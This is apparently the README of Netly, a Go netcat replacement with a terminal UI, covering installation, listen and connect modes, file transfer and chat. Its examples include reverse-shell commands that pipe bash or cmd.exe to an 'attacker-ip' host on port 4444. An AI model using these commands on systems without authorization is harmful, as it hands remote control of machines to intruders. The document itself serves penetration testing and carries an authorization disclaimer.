A modern, fast, and beautiful netcat alternative built with Go
Created by penguinshero
Features β’ Installation β’ Usage β’ Examples β’ Contributing
Netly is a modern replacement for the classic netcat utility, designed for ethical hackers, penetration testers, and network administrators. Built with Go and powered by the Charm Bracelet framework, it offers a beautiful terminal UI while maintaining the speed and efficiency you need.
- π¨ Beautiful TUI - Powered by Bubble Tea and Lipgloss
- β‘ Blazing Fast - Written in Go for maximum performance
- π Dual Modes - Server (Listen) and Client (Connect) modes
- π₯οΈ Interactive GUI - Menu-driven interface for easy mode switching
- π» CLI Support - Direct command-line operations
- π Bidirectional - Full-duplex communication
- π¦ Single Binary - No dependencies, just run it
- π Cross-Platform - Works on Linux, Windows, and macOS
- π‘οΈ Ethical Usage - Built for security professionals
Download the latest release from the Releases page.
go install github.com/penguinshero/netly@latest# Clone the repository
git clone https://github.com/penguinshero/netly.git
cd netly
# Install dependencies
go mod download
# Build the binary
go build -o netly
# Optional: Install to system
sudo mv netly /usr/local/bin/Run netly without arguments to start the interactive mode:
netlyOr explicitly:
netly interactiveStart a server listening on a specific port:
netly listen 4444Connect to a remote host:
netly connect 192.168.1.100 4444Get detailed help:
netly --help
netly listen --help
netly connect --helpOn the receiver (Server):
netly listen 4444 > received_file.txtOn the sender (Client):
cat file.txt | netly connect 192.168.1.100 4444Reverse Shell - Target Machine:
# Linux/Mac
/bin/bash -i 2>&1 | netly connect attacker-ip 4444
# Windows
netly connect attacker-ip 4444 -e cmd.exeAttacker Machine:
netly listen 4444Server Side:
netly listen 8080Client Side:
netly connect server-ip 8080Now you can type messages and they'll be sent bidirectionally!
# Test if port is open
echo "test" | netly connect target-ip 80- Go 1.21 or higher
- Git
# Clone repository
git clone https://github.com/penguinshero/netly.git
cd netly
# Download dependencies
go mod download
# Build for current platform
go build -o netly
# Build for specific platforms
# Linux
GOOS=linux GOARCH=amd64 go build -o netly-linux-amd64
# Windows
GOOS=windows GOARCH=amd64 go build -o netly-windows-amd64.exe
# macOS
GOOS=darwin GOARCH=amd64 go build -o netly-darwin-amd64 _ __ __ __
/ | / /__ / /_/ /_ __
/ |/ / _ \/ __/ / / / /
/ /| / __/ /_/ / /_/ /
/_/ |_/\___/\__/_/\__, /
/____/
Modern Netcat Alternative v1.0.0 | by penguinshero
βββββββββββββββββββββββββββββββββββββββββ
β SELECT OPERATION MODE β
βββββββββββββββββββββββββββββββββββββββββ
1. Listen Mode (Server) - Accept incoming connections
2. Connect Mode (Client) - Connect to remote host
3. Exit
β Enter choice...
- Bubble Tea - Terminal UI framework
- Lipgloss - Style definitions
- Cobra - CLI framework
Contributions are welcome! Please feel free to submit a Pull Request.
- Fork the repository
- Create your feature branch (
git checkout -b feature/AmazingFeature) - Commit your changes (
git commit -m 'Add some AmazingFeature') - Push to the branch (
git push origin feature/AmazingFeature) - Open a Pull Request
This project is licensed under the MIT License - see the LICENSE file for details.
This tool is intended for educational purposes and ethical security testing only. Always ensure you have proper authorization before testing or accessing any systems. The author is not responsible for any misuse or damage caused by this tool.
penguinshero
- GitHub: @penguinshero
If you find this project useful, please consider giving it a star! β
- Interactive GUI mode
- Direct CLI commands
- Server/Client modes
- Bidirectional communication
- Beautiful terminal UI
- Cross-platform support
Made with β€οΈ by penguinshero